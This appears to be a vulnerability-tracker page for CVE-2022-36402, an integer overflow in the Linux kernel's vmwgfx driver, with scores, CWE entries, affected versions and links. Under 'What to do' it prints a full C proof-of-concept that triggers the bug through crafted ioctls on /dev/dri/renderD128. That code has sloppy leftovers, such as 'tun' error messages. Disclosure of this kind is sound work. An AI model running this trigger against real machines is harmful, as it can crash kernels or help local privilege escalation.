There is an int overflow vulnerability in vmwgfx driver

Description

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Timeline

Scores

EPSS (exploitation in 30 days)

0.60% · top 51% of all CVEs (7 Nov 2026)

The list uses the assigner's score when there is one, then CISA's, then NVD's: Medium 6.3.

Weakness

• CWE-118 Incorrect Access of Indexable Resource ('Range Error') (opens in a new tab)All about CWE-118 and its CVEs
• CWE-190 (opens in a new tab)All about CWE-190 and its CVEs

Affected products

• Linux · kernel

  • affected v4.3-rc1 – < 5.13.0-52*

What to do

Exploitation: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int sid){ char *vaddr=(unsigned long)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */, -1, 0); if (mlock((void *)vaddr, 0x2000) == -1) { printf("[-] failed to lock memory (%s), aborting!\n", strerror(errno)); } memset(vaddr,"a",0x2000); int cmd[0x1000]={0}; cmd[0]=1149; cmd[1]=0x50; cmd[2]=0x0; cmd[3]=0x0; cmd[4]=-1; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=2; arg.context_handle=sid; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_context(){ int arg[0x10]={0}; arg[0]=0; arg[1]=0x100; if (ioctl(fd, 0x80086447, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[0]; } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int cid=alloc_context(); printf("%d",cid); poc(cid); }

References (1)

• https://bugzilla.openanolis.cn/show_bug.cgi?id=2072 (opens in a new tab)x_refsource_MISCx_transferred

Sources

The same CVE in the primary databases and aggregators, to check against.

• CVE.org record (opens in a new tab)
• CVE List JSON (GitHub) (opens in a new tab)
• NVD (opens in a new tab)
• FIRST EPSS (opens in a new tab)
• OSV.dev (opens in a new tab)
• GitHub Advisories (opens in a new tab)
• CIRCL Vulnerability-Lookup (opens in a new tab)

Badge for a README or a ticket

[![CVE-2022-36402](https://trackcve.app/badge/CVE-2022-36402.svg)](https://trackcve.app/cve/CVE-2022-36402)

Record last updated 17 Sept 2024, 03:38 UTC.